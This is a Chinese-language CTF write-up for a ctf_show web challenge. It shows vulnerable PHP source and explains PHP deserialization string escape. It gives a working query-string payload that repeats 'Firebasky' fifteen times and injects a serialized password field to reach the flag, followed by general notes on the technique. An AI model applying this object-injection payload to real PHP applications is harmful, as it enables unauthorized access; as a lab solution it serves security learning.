ctf_show:web1_此夜圆 10
下载附件,得到源码
<?php error_reporting(0); class a { public $uname; public $password; public function __construct($uname,$password) { $this->uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='yu22x') { include('flag.php'); echo $flag; } else { echo 'wrong password'; } } } function filter($string){ return str_replace('Firebasky','Firebaskyup',$string); } $uname=$_GET[1]; $password=1; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>
考的是php反序列化字符串逃逸
这里get传入参数1,如果password=yu22x,那么反序列化前就会执行__wakeup函数,从而得到flag.php,所以我们就需要构造playload
";s:8:"password";s:5:"yu22x";}的长度为30,所以而每输入一个Firebasky被替换成Firebaskyup,会逃逸2个字符。所以我们输入15个Firebasky就可以逃逸三十个字符
构造如下
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
就可以得到flag
这里记录一下字符串逃逸
1.PHP 在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的 .
2.当长度不对应的时候会出现报错
3.可以反序列化类中不存在的元素
1.过滤后字符变多
如果替换后变多,就会溢出,但是字符被替换后,字符串的长度不会改变,所以我们需要构造playload时,将溢出的字符串补成完整的序列化。就比如这题我们get传参时,传入15个Firebasky但是由于会被替换成Firebaskyup,15个Firebasky字符串长度是135,但是被替换后字符串长度变为165,然而序列化时,该字符长度依然是135,,因此会报错,序列化失败,但是我们如果传参时,传入FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";},刚好165个字符就不会报错。因为传入后进行字符替换后也是165个字符,并且他就会执行我们构造好的";s:8:"password";s:5:"yu22x";}这一部分语句。
2.过滤后字符变少
如果替换后,字符串变少,但是序列化后该变量的长度依然不会改变,但是替换后字符串减少,所以我们可以直接补足所缺,构造playload。这样就会执行我们后面构造的语句。